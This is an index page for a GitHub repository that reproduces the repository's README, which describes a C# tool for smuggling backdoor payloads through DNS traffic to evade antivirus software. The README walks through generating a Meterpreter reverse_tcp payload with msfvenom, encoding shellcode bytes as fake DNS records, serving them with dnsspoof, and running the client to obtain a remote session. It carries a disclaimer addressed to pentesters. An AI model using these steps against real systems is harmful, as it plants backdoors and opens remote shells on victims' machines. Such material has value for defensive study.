Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/damonmohammadbagher/nativepayload_dns
C# code for Transferring Backdoor Payloads by DNS Traffic and Bypassing Anti-viruses
https://github.com/damonmohammadbagher/nativepayload_dns
anti-viruses antivirus antivirus-evasion backdoor bypassing bypassing-avs dns dns-server dns-traffic evasion nativepayload-dns transfer-backdoor-payloads
Last synced: 5 days ago
JSON representation
C# code for Transferring Backdoor Payloads by DNS Traffic and Bypassing Anti-viruses
- Host: GitHub
- URL: https://github.com/damonmohammadbagher/nativepayload_dns
- Owner: DamonMohammadbagher
- Created: 2017-01-18T17:08:47.000Z (almost 8 years ago)
- Default Branch: master
- Last Pushed: 2023-06-05T15:11:22.000Z (over 1 year ago)
- Last Synced: 2024-11-03T04:32:38.628Z (11 days ago)
- Topics: anti-viruses, antivirus, antivirus-evasion, backdoor, bypassing, bypassing-avs, dns, dns-server, dns-traffic, evasion, nativepayload-dns, transfer-backdoor-payloads
- Language: C#
- Homepage:
- Size: 69.3 KB
- Stars: 266
- Watchers: 18
- Forks: 100
- Open Issues: 4
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
[![Stage](https://img.shields.io/badge/Release-STABLE-brightgreen.svg)]()
# NativePayload_DNS
C# code for Backdoor Payloads transfer by DNS Traffic and Bypassing Anti-virusesPublished by Damon Mohammadbagher
Warning: this code Published to explaining Anti-Viruses Vulnerability for Pentesters and Security Researchers
for more information and step by step please Visit these links:
Bypassing Anti-viruses with transfer Backdoor Payloads by DNS traffic
https://www.linkedin.com/pulse/bypassing-anti-viruses-transfer-backdoor-payloads-dns-mohammadbagherBypassing Anti-viruses with transfer Backdoor Payloads by DNS traffic
https://www.peerlyst.com/posts/bypassing-anti-viruses-with-transfer-backdoor-payloads-by-dns-traffic-damon-mohammadbagherVideo Published by Damon Mohammadbagher (bbxc9x00x1f)
Bypassing Anti-Viruses with transfer Backdoor Payloads by DNS traffic
Video 1 : https://youtu.be/M4dbqRWRsUk
Bypassing AVs with NativePayload_DNS and Meterpreter_Payload_Detection
Video 2 : https://youtu.be/ngZl4PSfW6o
Video Description: Bypassing AVs with NativePayload_DNS.exe and Detecting Meterpreter Process by Meterpreter_Payload_Detection tool
step 1:
msfvenom C type payload in your kali linux
msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/Desktop/payload.txt
copy payloads from payload.txt file to dns.txt like this format:root@kali:~# cat /root/Desktop/dns.txt
1.1.1.0 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"
1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com"
1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com"
1.1.1.3 "0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com"
step 2: Make Fake DNS server in your kali linux
root@kali:~# dnsspoof -i eth0 -f /root/Desktop/dns.txt
step 3:
run code in client
syntax: NativePayload_DNS.exe "1.1.1." 34 "192.168.1.50"
finally you can bypass AVs and you have Meterpreter Session
for more information and step by step please Visit these links:
Bypassing Anti-viruses with transfer Backdoor Payloads by DNS traffic
https://www.linkedin.com/pulse/bypassing-anti-viruses-transfer-backdoor-payloads-dns-mohammadbagherBypassing Anti-viruses with transfer Backdoor Payloads by DNS traffic
https://www.peerlyst.com/posts/bypassing-anti-viruses-with-transfer-backdoor-payloads-by-dns-traffic-damon-mohammadbagher
Related Tool:
C# code for Backdoor Payloads transfer by IPv6 Address (AAAA) records and DNS Traffic also Bypassing Anti-viruses
https://github.com/DamonMohammadbagher/NativePayload_IP6DNS
Related link:
Bypass all anti-viruses by Encrypted Payloads with C#
https://www.linkedin.com/pulse/bypass-all-anti-viruses-encrypted-payloads-c-damon-mohammadbagher?trk=pulse_spock-articles